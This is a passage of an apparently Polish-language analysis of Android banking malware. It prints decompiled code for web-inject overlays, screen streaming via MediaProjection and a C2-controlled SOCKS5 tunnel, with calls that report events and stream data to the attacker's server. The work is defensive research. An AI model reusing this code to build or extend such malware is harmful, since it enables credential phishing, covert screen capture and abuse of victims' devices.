    &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Triggering HTML injection: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;templateInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDisplayName&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;&amp;quot; for &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Intent&lt;/span&gt; &lt;span class="n"&gt;intent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;?&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;HtmlOverlayActivity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;268500992&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HtmlOverlayActivity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;EXTRA_TEMPLATE_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;templateInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getId&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
        &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HtmlOverlayActivity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;EXTRA_PACKAGE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HtmlOverlayActivity&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;EXTRA_PRIORITY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;injectionConfig2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPriority&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;recordInjection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;templateInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getId&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;sendInjectionNotificationToC2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;templateInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getId&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Failed to start HTML overlay activity&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;sendInjectionErrorToC2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;injectionConfig2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getTemplateId&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Failed to start overlay: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Do serwera C2 raportowana jest zarówno lista dostępnych szablonów, jak i same zdarzenia związane z wstrzyknięciem:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html_templates_available&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;timestamp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="n"&gt;jSONObject2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;jSONObject2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;template_count&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;availableTemplates&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;jSONObject2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;scan_time&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;lastScanTime&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;html_injection_triggered&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Kod jednoznacznie potwierdza obecność mechanizmów web inject oraz nakładek ekranowych, a nie jedynie pojedynczy, statycznie zaszyty ekran phishingowy.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Strumieniowanie ekranu&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Moduł żąda uprawnienia do MediaProjection i po jego uzyskaniu uruchamia udostępnianie ekranu:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;requestScreenCapturePermission&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="n"&gt;JSONException&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Object&lt;/span&gt; &lt;span class="n"&gt;systemService&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getSystemService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;media_projection&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Intrinsics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;checkNotNull&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;systemService&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;null cannot be cast to non-null type android.media.projection.MediaProjectionManager&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;startActivityForResult&lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;MediaProjectionManager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;systemService&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;createScreenCaptureIntent&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;REQUEST_CODE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;TAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Failed to launch screen capture intent&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;sendErrorResponse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Failed to launch screen capture intent: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
        &lt;span class="n"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resultCode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;TAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Screen capture permission granted.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;startForegroundService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;createServiceIntent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resultCode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;command_response&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;command&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;startScreenSharing&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;success&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;quality&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;quality&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;frameRate&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;frameRate&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;streamWidth&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;streamWidth&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;overlayDetection&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;DualWebSocketProvider&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sendMessage$default&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DualWebSocketProvider&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INSTANCE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;TAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Failed to start screen sharing service&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;sendErrorResponse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Failed to start screen sharing service: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Protokół definiuje również:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;screenFrame&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vncScreenFrame&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;screenLayout&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;screenUpdate&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;co odpowiada zarówno bezpośredniemu strumieniowaniu obrazu z ekranu, jak i pozyskiwaniu informacji o układzie oraz strukturze interfejsu.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tunel SOCKS5&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Moduł złośliwego oprogramowania udostępnia również tunel SOCKS5 sterowany za pośrednictwem infrastruktury C2:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEnabled&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;shouldReconnect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Enabling SOCKS5 tunnel to &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRelayHost&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;:&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRelayPort&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;strBuildTunnelUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socks5Config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;buildTunnelUrl&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TAG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Connecting to relay: &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;strBuildTunnelUrl&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;webSocket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;buildOkHttpClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socks5Config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getUseTls&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="na"&gt;newWebSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strBuildTunnelUrl&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-Device-ID&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;getDeviceId&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="na"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Authorization&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Bearer &amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;socks5Config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAuthToken&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span 